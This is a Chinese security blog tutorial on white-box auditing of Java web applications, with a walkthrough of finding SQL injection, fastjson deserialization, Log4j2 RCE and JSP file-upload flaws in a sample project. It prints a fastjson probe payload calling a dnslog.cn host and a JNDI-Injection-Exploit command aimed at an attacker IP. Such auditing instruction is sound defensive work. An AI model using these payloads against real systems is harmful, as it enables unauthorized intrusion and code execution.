代码审计之路之白盒挖掘机 | 技术精选0143

本文约4000字,阅读约需9分钟。


Java审计其实和Php审计的思路一样,唯一不同的可能是复杂的框架和代码。

1.正向跟踪

从数据层查找变量,一级一级调用,最后到控制器,这种相对简单、快速。

2.逆向思维,追踪变量,对象调用

查找变量,有没有传参数,是谁调用了这个变量,又是谁调用了这个方法,先从控制器找变量,然后逆着找方法,调用关系,最后到DAO层数据。这种方法一般比较浪费时间,跟踪到最后可能发现变量不可控。

3.直接挖掘漏洞点

比如搭建后,访问平台,发现有上传的功能,直接去控制器找上传相关代码,进行审计。

4.通读全文代码

这是最纯粹、最直接的方式。但是可能会遇到一个问题——看不懂代码。

怎么解决?这个我也不知道,我也看不懂......


1

关键字定位

SQL注入

大多数JavaEE网站,用的相对多的是SpringMVC架构,那么用到的Mybatis框架就会比较多,所以搜索SQL关键字就是"${}"优先,其次是以下的关键字。

如果是SpringBoot ,可能会使用注解等方式,如:
@query(selectid from user where name = ?);

以上语句写了"?",则代表是预编译语句,就不会产生注入,如果写的是变量,就可能产生注入了。 

image.png

文件上传

在文件上传功能中,先看框架——比如Spring框架,默认不会解析jsp文件。然后看代码有没有定义黑名单数组等等。
image.png

xss

image.png


目录遍历

image.png


xml注入类似xxe

image.png


命令执行

image.png


序列化

image.png


任意文件删除

delete

逻辑漏洞没什么关键字,可以去看User控制器,或者看过滤器,寻找有无校验。

2

MVC模式讲解

MVC模式是一种软件框架模式,被广泛应用在JavaEE项目的开发中。

MVC即模型(Model)、视图(View)、控制器(Controller)。

模型(Model)

模型是用于处理数据逻辑的部分。

所谓数据逻辑,也就是数据的映射以及对数据的增删改查,Bean、DAO(dataaccess object,数据访问对象)等都属于模型部分。

视图(View)

视图负责数据与其它信息的显示,也就是给用户看到的页面。
HTML、JSP等页面都可以作为视图。

控制器(controller)

控制器是模型与视图之间的桥梁,控制着数据与用户的交互。

控制器通常负责从视图读取数据,处理用户输入,并向模型发送数据,也可以从模型中读取数据,再发送给视图,由视图显示。

首先要了解项目整体结构。大致了解作者编写逻辑,搞清请求流程。

src/main下面有两个目录,分别是java和resources,java目录中主要存放的是java代码,resources目录中主要存放的是资源文件,比如:html、js、css等。

在Java目录下还有其他一些常见目录,具体含义整理如下:

/java目录下

annotation:放置项目自定义注解;

controller/: 存放控制器,接收从前端传来的参数,对访问控制进行转发、各类基本参数校验或者不复用的业务简单处理等;

dao/: 数据访问层,与数据库进行交互,负责数据库操作,在Mybaits框架中存放自定义的Mapper接口;

entity/: 存放实体类;

interceptor/: 拦截器;

service/:存放服务类,负责业务模块逻辑处理。Service层中有两种类,一是Service,用来声明接口;二是ServiceImpl,作为实现类实现接口中的方法;

utils/: 存放工具类;

dto/: 存放数据传输对象(DataTransfer Object),如请求参数和返回结果;

vo/: 视图对象(ViewObject)用于封装客户端请求的数据,防止部分数据泄漏,保证数据安全

constant/: 存放常量;

filter/: 存放过滤器。

/resources目录下

mapper/:存放Mybaits的mapper.xml文件;

static/:存放静态资源文件目录(Javascript、CSS、图片等),在这个目录中的所有文件可以被直接访问;

templates/: 存放模版文件;

application.properties或application.yml:Spring Boot:默认配置文件。

代码跟踪流程

用户请求URL发送到服务器,服务器解析请求后发送到后端代码处理请求。

在后端代码处,首先经过Filter(过滤器)和Interceptor(拦截器),然后根据请求的URL映射到绑定的Controller,之后调用Service接口类,然后再调用serviceImpl接口实现类,最后调用DAO。

controller:负责简单的逻辑处理和参数校验功能,之后调用Service;

service:接口类,主要负责业务模块逻辑处理;

serviceImpl:接口实现类,实现类实现service接口中的方法;

DAO:如果service涉及数据库操作就会调用DAO。DAO主要处理数据库操作。DAO只做中间传递角色,

环境搭建


以某项目为例。

配置maven环境,更改中文镜像:


选择pom.xml重载项目 会自动加载依赖:


找到配置文件更改端口,数据库信息等,找到sqls文件夹,创建数据库导入数据即可:


等pom.xml页面没有爆红,并且自己显示了绿色按钮就可以开启环境了:


启动项目:


3

漏洞挖掘

SQL注入P1


因为用了mybatis框架,所以先搜索看看有没有使用不安全的符号进行传参:


总共发现了五个,选择第一个开始审计:


参数点在88行,向上寻找调用语句:


上面图片中,88为变量所在行数,向上寻找select参数,发现是在55行,点击箭头,即可跳转到对应的接口类。


继续寻找,点击方法:


先在漏洞点打上断点,标记下:


然后找方法:


RequestMapping 是映射的路径,浏览器访问试试:


找到对应的页面:


注意这些字段,orderby是通过web传参,isdesc默认是true:


然后orderutil默认null,判断orderby是否为空,不为空则执行打印,然后吧数据带入到orderutil,再然后带入断点的地方:


查看此方法,没有做过滤:


Web抓包进行测试,默认是空的,加上sleep(4),延迟有点高:


sqlmap验证:


SQL注入P2

经过上面的流程,我们大致知道审计步骤了,那再尝试一个:


可以发现 和刚才的一样:


剩下的也是同样的思路。

fastjson反序列化

搜索关键字:


又回到了刚才的代码:


上方的注释告诉我们,这是在产品添加功能。

把鼠标放到数据里,会显示原数据格式,是json没错了:


dnslog探测:

{"@type":"java.net.Inet4Address","val":"bb1e2x.dnslog.cn"}
url编码
%7B%22%40%74%79%70%65%22%3A%22%6A%61%76%61%2E%6E%65%74%2E%49%6E%65%74%34%41%64%64%72%65%73%73%22%2C%22%76%61%6C%22%3A%22%62%62%31%65%32%78%2E%64%6E%73%6C%6F%67%2E%63%6E%22%7D


log4j2远程代码执行

搜索关键字info、error、logger等,找变量拼接:


获取的是个整数不是字符串,这个就不能被控制。接着找。找了一圈,终于找到有字符串的了:


来到上传头像的地方,抓包:


获取了数据but dnslog,没数据看了下jdk,原来版本太高了,换一下版本,发现仍然不行。尝试弹计算器,结果成功:
java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open/System/Applications/Calculator.app" -A "172.16.183.129"


任意文件上传

同上,就是头像上传功能:


获取文件名,然后去掉多余的“.”。名字是随机的uuid,拼接路径,然后上传,没有做过滤。

上传一个jsp试试:


/tmall/res/images/item/userProfilePicture/e4b3a476-a492-446b-b033-e54f4b152c7c.jsp

发现jsp被执行了,为什么?因为在pom添加了解析库,大多数项目是不会添加的:


反射xss

牢记四字:见框就插。


4

总结

有任何问题,可以在评论区留言,我们共同探讨,共同进步!


- END -


本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/189910.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:105 积分: 865

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号